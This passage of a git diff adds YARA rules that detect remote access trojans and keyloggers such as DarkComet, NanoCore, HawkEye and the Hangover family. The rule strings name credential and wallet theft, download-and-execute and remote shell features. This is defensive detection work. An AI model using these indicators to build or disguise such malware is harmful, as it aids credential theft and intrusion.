+		filetype = "exe"
+        
+    strings:
+    		$a = "aaaaaa1|"
+            $b = "aaaaaa2|"
+            $c = "aaaaaa3|"
+            $d = "aaaaaa4|"
+			$e = "aaaaaa5|"
+			$f = "%s%d.exe"
+			$g = "astalavista"
+			$h = "givemecache"
+			$i = "%s\\system32\\drivers\\blogs\\*"
+			$j = "bndk13me"
+			
+
+        
+    condition:
+    		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/BlackNix.yar b/yara-mikesxrs/kevthehermit/BlackNix.yar
new file mode 100644
index 0000000..c22f5e7
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/BlackNix.yar
@@ -0,0 +1,20 @@
+rule BlackNix
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/BlackNix"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+        
+    strings:
+		$a1 = "SETTINGS" wide
+		$a2 = "Mark Adler"
+		$a3 = "Random-Number-Here"
+		$a4 = "RemoteShell"
+		$a5 = "SystemInfo"
+
+	
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/BlackShades.yar b/yara-mikesxrs/kevthehermit/BlackShades.yar
new file mode 100644
index 0000000..7fb90ee
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/BlackShades.yar
@@ -0,0 +1,16 @@
+rule BlackShades
+{
+    meta:
+        author = "Brian Wallace (@botnet_hunter)"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/PoisonIvy"
+        ref = "http://blog.cylance.com/a-study-in-bots-blackshades-net"
+        family = "blackshades"
+
+    strings:
+        $string1 = "bss_server"
+        $string2 = "txtChat"
+        $string3 = "UDPFlood"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/BlueBanana.yar b/yara-mikesxrs/kevthehermit/BlueBanana.yar
new file mode 100644
index 0000000..0daf0be
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/BlueBanana.yar
@@ -0,0 +1,21 @@
+rule BlueBanana
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/BlueBanana"
+		maltype = "Remote Access Trojan"
+		filetype = "Java"
+
+	strings:
+		$meta = "META-INF"
+		$conf = "config.txt"
+		$a = "a/a/a/a/f.class"
+		$b = "a/a/a/a/l.class"
+		$c = "a/a/a/b/q.class"
+		$d = "a/a/a/b/v.class"
+
+		
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Bozok.yar b/yara-mikesxrs/kevthehermit/Bozok.yar
new file mode 100644
index 0000000..ac2c055
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Bozok.yar
@@ -0,0 +1,19 @@
+rule Bozok
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Bozok"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "getVer" nocase
+		$b = "StartVNC" nocase
+		$c = "SendCamList" nocase
+		$d = "untPlugin" nocase
+		$e = "gethostbyname" nocase
+	
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/ClientMesh.yar b/yara-mikesxrs/kevthehermit/ClientMesh.yar
new file mode 100644
index 0000000..12188dd
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/ClientMesh.yar
@@ -0,0 +1,20 @@
+rule ClientMesh
+{
+    meta:
+        author = "Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/06"
+        ref = "http://malwareconfig.com/stats/ClientMesh"
+        family = "torct"
+
+    strings:
+        $string1 = "machinedetails"
+        $string2 = "MySettings"
+        $string3 = "sendftppasswords"
+        $string4 = "sendbrowserpasswords"
+        $string5 = "arma2keyMass"
+        $string6 = "keylogger"
+        /*$conf = {00 00 00 00 00 00 00 00 00 7E}*/
+
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Crimson.yar b/yara-mikesxrs/kevthehermit/Crimson.yar
new file mode 100644
index 0000000..755a6a2
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Crimson.yar
@@ -0,0 +1,20 @@
+rule Crimson
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		Description = "Crimson Rat"
+		date = "2015/05"
+		ref = "http://malwareconfig.com/stats/Crimson"
+		maltype = "Remote Access Trojan"
+		filetype = "jar"
+
+	strings:
+		$a1 = "com/crimson/PK"
+		$a2 = "com/crimson/bootstrapJar/PK"
+		$a3 = "com/crimson/permaJarMulti/PermaJarReporter$1.classPK"
+		$a4 = "com/crimson/universal/containers/KeyloggerLog.classPK"
+        $a5 = "com/crimson/universal/UploadTransfer.classPK"
+        
+	condition:
+        all of ($a*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/CyberGate.yar b/yara-mikesxrs/kevthehermit/CyberGate.yar
new file mode 100644
index 0000000..939a53c
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/CyberGate.yar
@@ -0,0 +1,23 @@
+rule CyberGate
+{
+
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/CyberGate"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$string1 = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+		$string2 = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+		$string3 = "EditSvr"
+		$string4 = "TLoader"
+		$string5 = "Stroks"
+		$string6 = "####@####"
+		$res1 = "XX-XX-XX-XX"
+		$res2 = "CG-CG-CG-CG"
+
+	condition:
+		all of ($string*) and any of ($res*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/DarkComet.yar b/yara-mikesxrs/kevthehermit/DarkComet.yar
new file mode 100644
index 0000000..b27b11e
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/DarkComet.yar
@@ -0,0 +1,27 @@
+rule DarkComet
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/DarkComet"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		// Versions 2x
+		$a1 = "#BOT#URLUpdate"
+		$a2 = "Command successfully executed!"
+		$a3 = "MUTEXNAME" wide
+		$a4 = "NETDATA" wide
+		// Versions 3x & 4x & 5x
+		$b1 = "FastMM Borland Edition"
+		$b2 = "%s, ClassID: %s"
+		$b3 = "I wasn't able to open the hosts file"
+		$b4 = "#BOT#VisitUrl"
+		$b5 = "#KCMDDC"
+
+
+
+	condition:
+		all of ($a*) or all of ($b*)
+}
diff --git a/yara-mikesxrs/kevthehermit/DarkRAT.yar b/yara-mikesxrs/kevthehermit/DarkRAT.yar
new file mode 100644
index 0000000..ff86958
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/DarkRAT.yar
@@ -0,0 +1,21 @@
+rule DarkRAT
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/DarkRAT"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "@1906dark1996coder@"
+		$b = "SHEmptyRecycleBinA"
+		$c = "mciSendStringA"
+		$d = "add_Shutdown"
+		$e = "get_SaveMySettingsOnExit"
+		$f = "get_SpecialDirectories"
+		$g = "Client.My"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Greame.yar b/yara-mikesxrs/kevthehermit/Greame.yar
new file mode 100644
index 0000000..03e6b04
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Greame.yar
@@ -0,0 +1,24 @@
+rule Greame
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Greame"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		
+	strings:
+    		$a = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+            $b = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+            $c = "EditSvr"
+            $d = "TLoader"
+			$e = "Stroks"
+            $f = "Avenger by NhT"
+			$g = "####@####"
+			$h = "GREAME"
+			
+
+        
+    condition:
+    		all of them
+}
diff --git a/yara-mikesxrs/kevthehermit/Hangover_ron_babylon.yar b/yara-mikesxrs/kevthehermit/Hangover_ron_babylon.yar
new file mode 100644
index 0000000..098e0bd
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Hangover_ron_babylon.yar
@@ -0,0 +1,307 @@
+rule Hangover_ron_babylon
+{
+  strings:
+    $a = "Content-Disposition: form-data; name=\"uploaddir\""
+    $b1 = "MBVDFRESCT"
+    $b2 = "EMSCBVDFRT"
+    $b3 = "EMSFRTCBVD"
+    $b4= "sendFile"
+    $b5 = "BUGMAAL"
+    $b6 = "sMAAL"
+    $b7 = "SIMPLE"
+    $b8 = "SPLIME"
+    $b9 = "getkey.php"
+    $b10 = "MBVDFRESCT"
+    $b11 = "DSMBVCTFRE"
+    $b12 = "MBESCVDFRT"
+    $b13 = "TCBFRVDEMS"
+    $b14 = "DEMOMAKE"
+    $b15 = "DEMO"
+    $b16 = "UPHTTP"
+    
+
+    $c1 = "F39D45E70395ABFB8D8D2BFFC8BBD152"
+    $c2 = "90B452BFFF3F395ABDC878D8BEDBD152"
+    $c3 = "FFF3F395A90B452BB8BEDC878DDBD152"
+    $c4 = "5A9DCB8FFF3F02B8B45BE39D152"
+    $c5 = "5A902B8B45BEDCB8FFF3F39D152"
+    $c6 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+    $c7 = "905ABEB452BFFFBDC878D83F39DBD152"
+    $c8 = "D2BFFC8BBD152F3B8D89D45E70395ABF"
+    $c9 = "8765F3F395A90B452BB8BEDC878"
+    $c10 = "90ABDC878D8BEDBB452BFFF3F395D152"
+    $c11 = "F12BDC94490B452AA8AEDC878DCBD187"
+    
+  condition:
+    $a and (1 of ($b*) or 1 of ($c*))
+    
+}
+
+rule Hangover_Fuddol {
+    strings:
+        $a = "\\Http downloader(fud)"
+        $b = "Fileexists"
+    condition:
+        all of them
+
+}
+
+rule Hangover_UpdateEx {
+    strings:
+        $a1 = "UpdateEx"
+        $a2 = "VBA6.DLL"
+        $a3 = "MainEx"
+        $a4 = "GetLogs"
+        $a5 = "ProMan"
+        $a6 = "RedMod"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Tymtin_Degrab {
+    strings:
+        $a1 = "&dis=no&utp=op&mfol="
+        $a2 = "value1=1&value2=2"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_Downloader {
+    strings:
+        $a1 = "DownloadComplete"
+        $a2 = "DownloadProgress"
+        $a3 = "DownloadError"
+        $a4 = "UserControl"
+        $a5 = "MSVBVM60.DLL"
+
+        $b1 = "syslide"
+        $b2 = "frmMina"
+        $b3 = "Soundsman"
+        $b4 = "New_upl"
+        $b5 = "MCircle"
+        $b6 = "shells_DataArrival"
+        
+    condition:
+        3 of ($a*) and 1 of ($b*)
+
+}
+
+
+rule Hangover_Vacrhan_Downloader {
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "VBA6.DLL"
+        $a3 = "Timer1"
+        $a4 = "Timer2"
+        $a5 = "IsNTAdmin"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_various {
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "NaramGaram"
+        $a3 = "vampro"
+        $a4 = "AngelPro"
+        
+        $b1 = "VBA6.DLL"
+        $b2 = "advpack"
+        $b3 = "IsNTAdmin"
+        
+        
+    condition:
+        1 of ($a*) and all of ($b*)
+
+}
+
+rule Hangover_Foler {
+    strings:
+        $a1 = "\\MyHood"
+        $a2 = "UsbP"
+        $a3 = "ID_MON"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Appinbot {
+    strings:
+        $a1 = "CreateToolhelp32Snapshot"
+        $a2 = "Process32First"
+        $a3 = "Process32Next"
+        $a4 = "FIDR/"
+        $a5 = "SUBSCRIBE %d"
+        $a6 = "CLOSE %d"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Linog {
+    strings:
+        $a1 = "uploadedfile"
+        $a2 = "Error in opening a file.."
+        $a3 = "The file could not be opened"
+        $a4 = "%sContent-Disposition: form-data; name=\"%s\";filename=\"%s\""
+
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Iconfall {
+    strings:
+        $a1 = "iconfall"
+        $a2 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Deksila {
+    strings:
+        $a1 = "WinInetGet/0.1"
+        $a2 = "dekstop2007.ico"
+        $a3 = "mozila20"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Auspo {
+    strings:
+        $a1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV2)"
+        $a2 = "POWERS"
+        $a3 = "AUSTIN"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Slidewin {
+    strings:
+        $a1 = "[NumLock]"
+        $a2 = "[ScrlLock]"
+        $a3 = "[LtCtrl]"
+        $a4 = "[RtCtrl]"
+        $a5 = "[LtAlt]"
+        $a6 = "[RtAlt]"
+        $a7 = "[HomePage]"
+        $a8 = "[MuteOn/Off]"
+        $a9 = "[VolDn]"
+        $a10 = "[VolUp]"
+        $a11 = "[Play/Pause]"
+        $a12 = "[MailBox]"
+        $a14 = "[Calc]"
+        $a15 = "[Unknown]"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwlog {
+    strings:
+        $a1 = "file closed---------------------"
+        $a2 = "new file------------------"
+        $a3 = "md C:\\ApplicationData\\Prefetch\\"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwup {
+    strings:
+        $a1 = "=======inside while==========="
+        $a2 = "scan finished"
+        $a3 = "logFile.txt"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover2_Downloader {
+
+  strings:
+
+    $a = "WinInetGet/0.1" wide ascii
+
+    $b = "Excep while up" wide ascii
+
+    $c = "&file=" wide ascii
+
+    $d = "&str=" wide ascii
+
+    $e = "?cn=" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_stealer {
+
+  strings:
+
+    $a = "MyWebClient" wide ascii
+
+    $b = "Location: {[0-9]+}" wide ascii
+
+    $c = "[%s]:[C-%s]:[A-%s]:[W-%s]:[S-%d]" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_backdoor_shell {
+
+  strings:
+
+    $a = "Shell started at: " wide ascii
+
+    $b = "Shell closed at: " wide ascii
+
+    $c = "Shell is already closed!" wide ascii
+
+    $d = "Shell is not Running!" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_Keylogger {
+
+  strings:
+
+    $a = "iconfall" wide ascii
+
+    $b = "/c ipconfig /all > " wide ascii
+
+    $c = "Global\\{CHKAJESKRB9-35NA7-94Y436G37KGT}" wide ascii
+
+  condition:
+
+    all of them
+}
diff --git a/yara-mikesxrs/kevthehermit/HawkEye.yar b/yara-mikesxrs/kevthehermit/HawkEye.yar
new file mode 100644
index 0000000..2cd97bd
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/HawkEye.yar
@@ -0,0 +1,23 @@
+rule HawkEye
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2015/06"
+		ref = "http://malwareconfig.com/stats/HawkEye"
+		maltype = "KeyLogger"
+		filetype = "exe"
+
+	strings:
+		$key = "HawkEyeKeylogger" wide
+		$salt = "099u787978786" wide
+		$string1 = "HawkEye_Keylogger" wide
+		$string2 = "holdermail.txt" wide
+		$string3 = "wallet.dat" wide
+		$string4 = "Keylog Records" wide
+   		$string5 = "<!-- do not script -->" wide
+  		$string6 = "\\pidloc.txt" wide
+  		$string7 = "BSPLIT" wide
+
+	condition:
+		$key and $salt and all of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Imminent3.yar b/yara-mikesxrs/kevthehermit/Imminent3.yar
new file mode 100644
index 0000000..0c3cc41
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Imminent3.yar
@@ -0,0 +1,28 @@
+rule Imminent
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/Imminent"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+
+    strings:
+        $v1a = "DecodeProductKey"
+        $v1b = "StartHTTPFlood"
+        $v1c = "CodeKey"
+        $v1d = "MESSAGEBOX"
+        $v1e = "GetFilezillaPasswords"
+        $v1f = "DataIn"
+        $v1g = "UDPzSockets"
+        $v1h = {52 00 54 00 5F 00 52 00 43 00 44 00 41 00 54 00 41}
+
+        $v2a = "<URL>k__BackingField"
+        $v2b = "<RunHidden>k__BackingField"
+        $v2c = "DownloadAndExecute"
+        $v2d = "-CHECK & PING -n 2 127.0.0.1 & EXIT" wide
+        $v2e = "england.png" wide
+        $v2f = "Showed Messagebox" wide
+    condition:
+        all of ($v1*) or all of ($v2*)
+}
diff --git a/yara-mikesxrs/kevthehermit/Infinity.yar b/yara-mikesxrs/kevthehermit/Infinity.yar
new file mode 100644
index 0000000..bfd46bb
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Infinity.yar
@@ -0,0 +1,22 @@
+rule Infinity
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Infinity"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "CRYPTPROTECT_PROMPTSTRUCT"
+		$b = "discomouse"
+		$c = "GetDeepInfo"
+		$d = "AES_Encrypt"
+		$e = "StartUDPFlood"
+		$f = "BATScripting" wide
+		$g = "FBqINhRdpgnqATxJ.html" wide
+		$i = "magic_key" wide
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/JavaDropper.yar b/yara-mikesxrs/kevthehermit/JavaDropper.yar
new file mode 100644
index 0000000..c85b3d5
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/JavaDropper.yar
@@ -0,0 +1,25 @@
+rule JavaDropper
+{
+    meta:
+	    author = " Kevin Breen <kevin@techanarchy.net>"
+	    date = "2015/10"
+	    ref = "http://malwareconfig.com/stats/AlienSpy"
+	    maltype = "Remote Access Trojan"
+	    filetype = "exe"
+
+    strings:
+	    $jar = "META-INF/MANIFEST.MF"
+
+	    $a1 = "ePK"
+	    $a2 = "kPK"
+
+        $b1 = "config.ini"
+        $b2 = "password.ini"
+
+        $c1 = "stub/stub.dll"
+
+        $d1 = "c.dat"
+
+    condition:
+        $jar and (all of ($a*) or all of ($b*) or all of ($c*) or all of ($d*))
+}
diff --git a/yara-mikesxrs/kevthehermit/LostDoor.yar b/yara-mikesxrs/kevthehermit/LostDoor.yar
new file mode 100644
index 0000000..f8407b1
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/LostDoor.yar
@@ -0,0 +1,24 @@
+rule LostDoor
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/LostDoor"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+        
+    strings:
+        $a0 = {0D 0A 2A 45 44 49 54 5F 53 45 52 56 45 52 2A 0D 0A}
+        $a1 = "*mlt* = %"
+        $a2 = "*ip* = %"
+        $a3 = "*victimo* = %"
+        $a4 = "*name* = %"
+        $b5 = "[START]"
+        $b6 = "[DATA]"
+        $b7 = "We Control Your Digital World" wide ascii
+        $b8 = "RC4Initialize" wide ascii
+        $b9 = "RC4Decrypt" wide ascii
+        
+    condition:
+        all of ($a*) or all of ($b*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/LuminosityLink.yar b/yara-mikesxrs/kevthehermit/LuminosityLink.yar
new file mode 100644
index 0000000..899c319
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/LuminosityLink.yar
@@ -0,0 +1,25 @@
+rule LuminosityLink
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2015/06"
+        ref = "http://malwareconfig.com/stats/LuminosityLink"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+
+    strings:
+        $a = "SMARTLOGS" wide
+        $b = "RUNPE" wide
+        $c = "b.Resources" wide
+        $d = "CLIENTINFO*" wide
+        $e = "Invalid Webcam Driver Download URL, or Failed to Download File!" wide
+        $f = "Proactive Anti-Malware has been manually activated!" wide
+        $g = "REMOVEGUARD" wide
+        $h = "C0n1f8" wide
+        $i = "Luminosity" wide
+        $j = "LuminosityCryptoMiner" wide
+        $k = "MANAGER*CLIENTDETAILS*" wide
+
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/LuxNet.yar b/yara-mikesxrs/kevthehermit/LuxNet.yar
new file mode 100644
index 0000000..8f498ac
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/LuxNet.yar
@@ -0,0 +1,20 @@
+rule LuxNet
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/LuxNet"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "GetHashCode"
+		$b = "Activator"
+		$c = "WebClient"
+		$d = "op_Equality"
+		$e = "dickcursor.cur" wide
+		$f = "{0}|{1}|{2}" wide
+
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/kevthehermit/NanoCore.yar b/yara-mikesxrs/kevthehermit/NanoCore.yar
new file mode 100644
index 0000000..808446b
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/NanoCore.yar
@@ -0,0 +1,26 @@
+rule NanoCore
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/NanoCore"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+
+    strings:
+        $a = "NanoCore"
+        $b = "ClientPlugin"
+        $c = "ProjectData"
+        $d = "DESCrypto"
+        $e = "KeepAlive"
+        $f = "IPNETROW"
+        $g = "LogClientMessage"
+        $h = "|ClientHost"
+        $i = "get_Connected"
+        $j = "#=q"
+        $key = {43 6f 24 cb 95 30 38 39}
+
+
+    condition:
+        6 of them
+}
diff --git a/yara-mikesxrs/kevthehermit/NetWire.yar b/yara-mikesxrs/kevthehermit/NetWire.yar
new file mode 100644
index 0000000..861cd19
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/NetWire.yar
@@ -0,0 +1,19 @@
+rule NetWire
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/NetWire"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+        
+    strings:
+        $string1 = "[Scroll Lock]"
+        $string2 = "[Shift Lock]"
+        $string3 = "200 OK"
+        $string4 = "%s.Identifier"
+        $string5 = "sqlite3_column_text"
+        $string6 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Pandora.yar b/yara-mikesxrs/kevthehermit/Pandora.yar
new file mode 100644
index 0000000..3b321c0
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Pandora.yar
@@ -0,0 +1,27 @@
+rule Pandora
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Pandora"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "Can't get the Windows version"
+		$b = "=M=Q=U=Y=]=a=e=i=m=q=u=y=}="
+		$c = "JPEG error #%d" wide
+		$d = "Cannot assign a %s to a %s" wide
+		$g = "%s, ProgID:"
+		$h = "clave"
+		$i = "Shell_TrayWnd"
+		$j = "melt.bat"
+		$k = "\\StubPath"
+		$l = "\\logs.dat"
+		$m = "1027|Operation has been canceled!"
+		$n = "466|You need to plug-in! Double click to install... |"
+		$0 = "33|[Keylogger Not Activated!]"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Paradox.yar b/yara-mikesxrs/kevthehermit/Paradox.yar
new file mode 100644
index 0000000..875c5f0
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Paradox.yar
@@ -0,0 +1,21 @@
+rule Paradox
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Paradox"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "ParadoxRAT"
+		$b = "Form1"
+		$c = "StartRMCam"
+		$d = "Flooders"
+		$e = "SlowLaris"
+		$f = "SHITEMID"
+		$g = "set_Remote_Chat"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/PoisonIvy.yar b/yara-mikesxrs/kevthehermit/PoisonIvy.yar
new file mode 100644
index 0000000..2b73034
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/PoisonIvy.yar
@@ -0,0 +1,19 @@
+rule PoisonIvy
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/PoisonIvy"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+
+    strings:
+        $stub = {04 08 00 53 74 75 62 50 61 74 68 18 04}
+        $string1 = "CONNECT %s:%i HTTP/1.0"
+        $string2 = "ws2_32"
+        $string3 = "cks=u"
+        $string4 = "thj@h"
+        $string5 = "advpack"
+    condition:
+        $stub at 0x1620 and all of ($string*) or (all of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Punisher.yar b/yara-mikesxrs/kevthehermit/Punisher.yar
new file mode 100644
index 0000000..4178acc
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Punisher.yar
@@ -0,0 +1,21 @@
+rule Punisher
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Punisher"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "abccba"
+		$b = {5C 00 68 00 66 00 68 00 2E 00 76 00 62 00 73}
+		$c = {5C 00 73 00 63 00 2E 00 76 00 62 00 73}
+		$d = "SpyTheSpy" wide ascii
+		$e = "wireshark" wide
+		$f = "apateDNS" wide
+		$g = "abccbaDanabccb"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/PythoRAT.yar b/yara-mikesxrs/kevthehermit/PythoRAT.yar
new file mode 100644
index 0000000..9352efb
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/PythoRAT.yar
@@ -0,0 +1,22 @@
+rule PythoRAT
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/PythoRAT"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "TKeylogger"
+		$b = "uFileTransfer"
+		$c = "TTDownload"
+		$d = "SETTINGS"
+		$e = "Unknown" wide
+		$f = "#@#@#"
+		$g = "PluginData"
+		$i = "OnPluginMessage"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/ShadowTech.yar b/yara-mikesxrs/kevthehermit/ShadowTech.yar
new file mode 100644
index 0000000..6540303
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/ShadowTech.yar
@@ -0,0 +1,21 @@
+rule ShadowTech
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/ShadowTech"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "ShadowTech" nocase
+		$b = "DownloadContainer"
+		$c = "MySettings"
+		$d = "System.Configuration"
+		$newline = "#-@NewLine@-#" wide
+		$split = "pSIL" wide
+		$key = "ESIL" wide
+
+	condition:
+		4 of them
+}
diff --git a/yara-mikesxrs/kevthehermit/SmallNet.yar b/yara-mikesxrs/kevthehermit/SmallNet.yar
new file mode 100644
index 0000000..ac4bb0e
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/SmallNet.yar
@@ -0,0 +1,19 @@
+rule SmallNet
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/SmallNet"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		
+	strings:
+		$split1 = "!!<3SAFIA<3!!"
+		$split2 = "!!ElMattadorDz!!"
+		$a1 = "stub_2.Properties"
+		$a2 = "stub.exe" wide
+		$a3 = "get_CurrentDomain"
+
+	condition:
+		($split1 or $split2) and (all of ($a*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/SpyGate.yar b/yara-mikesxrs/kevthehermit/SpyGate.yar
new file mode 100644
index 0000000..a414057
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/SpyGate.yar
@@ -0,0 +1,26 @@
